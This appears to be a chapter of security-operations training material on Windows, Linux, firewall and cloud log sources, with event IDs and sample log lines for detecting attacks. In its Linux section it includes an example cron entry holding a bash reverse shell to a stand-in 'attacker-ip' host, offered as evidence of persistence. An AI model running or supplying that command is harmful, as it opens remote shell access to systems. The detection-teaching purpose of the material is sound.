Log Sources (Windows, Linux, Firewall, Cloud)

Log sources must be explained with practical depth, not just theory. This chapter covers exactly what logs look like, where they are stored, which events matter, and how analysts actually use them inside the SOC.


Windows Log Sources

Windows logs come from the Event Viewer. An analyst must know the exact paths, event IDs, and how to interpret them.

Location

Event Viewer > Windows Logs > Security / System / Application
Event Viewer > Applications and Services Logs > Microsoft > Windows

Critical Security Logs

The Security log is where most attacker activity appears.

Practical examples:

Failed login attempts:

Event ID 4625  (Failed Logon)

Successful logon (used to detect lateral movement):

Event ID 4624

Privilege escalation:

Event ID 4672  (Special privileges assigned)

User added to admin group:

Event ID 4728

PowerShell activity (attackers use it heavily):

Event ID 4104  (PowerShell Script Block Logging)

Sysmon logs show process chains and file actions:

Event ID 1   (Process Creation)
Event ID 3   (Network connection)
Event ID 11  (File Create)
Event ID 13  (Registry Modification)

Example Attack Trace in Windows Logs

An analyst might see:

  • 4625 repeated → brute force attempt

  • then 4624 from same IP → attacker logged in

  • then 4672 → privileges assigned

  • then Sysmon Event ID 1 → suspicious cmd.exe spawning PowerShell

  • then Sysmon Event ID 3 → outbound connection to malicious IP

This entire sequence shows actual attacker movement.


Linux Log Sources

Linux logs are stored inside /var/log/. Analysts must know the exact files to read.

Key Log Files

Authentication logs:

/var/log/auth.log    (Debian/Ubuntu)
/var/log/secure      (RHEL/CentOS)

Used to detect SSH brute force attempts or privilege changes.

Example suspicious SSH activity:

Failed password for root from 185.122.44.10 port 53321 ssh2
Accepted password for root from 185.122.44.10 port 53321 ssh2

System and kernel events:

/var/log/syslog
/var/log/messages

Cron and persistence logs:

/var/log/cron

Example persistence attempt:

CRON[1234]: (root) CMD (/tmp/.hidden/backdoor.sh)

Command history logs (when enabled for auditing):
Auditd events:

ausearch -m USER_CMD

Example Attack Trace in Linux Logs

Privileged command executed:

sudo su

Then an unusual cron job added:

CRON: (root) CMD (/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1)

This indicates a reverse shell persistence method.


Firewall Log Sources

Firewall logs show network activity. SOC analysts use these logs to detect scans, brute force attempts, malware beaconing, and exfiltration.

Real Firewall Log Examples

Blocked port scan:

Deny TCP src=185.122.44.10 dst=10.0.0.5 spt=55221 dpt=22

Outbound malicious connection:

Allow TCP src=10.0.0.5 dst=45.77.118.202 dpt=443 note="Suspicious domain"

VPN login anomalies:

VPN Login: user=mayur ip=103.41.33.10 country=Unknown result=Success

Intrusion signature hit:

IDS ALERT: SQL Injection Attempt from 91.22.11.2 to 10.0.0.20

How Analysts Use Firewall Logs Practically

  • Identify attackers scanning your environment

  • Detect malware reaching a command-and-control server

  • Catch exfiltration through allowed ports

  • Validate lateral movement patterns

Firewall logs show network behavior, which is critical when endpoints are compromised.


Cloud Log Sources

Cloud logs are extremely detailed and track everything happening across the environment.

AWS Examples

CloudTrail logs all API calls:

"eventName": "CreateUser"
"eventSource": "iam.amazonaws.com"
"sourceIPAddress": "203.0.113.10"

Suspicious S3 access:

"eventName": "GetObject"
"bucketName": "confidential-data"

VPC Flow Logs:

10.0.1.15 203.0.113.33 443 ACCEPT

Azure Examples

Azure Active Directory login:

Sign-in event: UserLoginFailed

KeyVault secret access:

SecretGet: secretName=prod-admin-password

GCP Examples

IAM logs:

roles/editor granted to attacker@external.com

Cloud Storage access:

Object accessed: sensitive-dump.zip

Practical Cloud Attack Trace

An attacker compromises cloud credentials:

  • abnormal login from new country

  • IAM role modified

  • new access keys created

  • data pulled from S3 bucket

  • unusual VPC outbound traffic

These events appear across CloudTrail, IAM logs, S3 access logs, and VPC flows.


Why Practical Log Understanding Matters

SOC analysts must be able to:

  • Read raw log files

  • Recognize attacker techniques inside those logs

  • Correlate logs across systems

  • Build detection rules based on actual event IDs

  • Reconstruct full attack chains

Without knowing exact log paths, event IDs, and examples, a SOC becomes ineffective.


Intel Dump

  • Windows logs use Event IDs to reveal authentication, privilege, and process activity.

  • Linux logs inside /var/log show SSH attempts, sudo usage, cron persistence, and system events.

  • Firewall logs reveal inbound scans, outbound malware traffic, VPN activity, and intrusion signatures.

  • Cloud logs track API calls, IAM modifications, storage access, and network flows across AWS/Azure/GCP.

  • Practical analysis requires knowing specific log locations, event IDs, and attack patterns.

HOME LEARN COMMUNITY DASHBOARD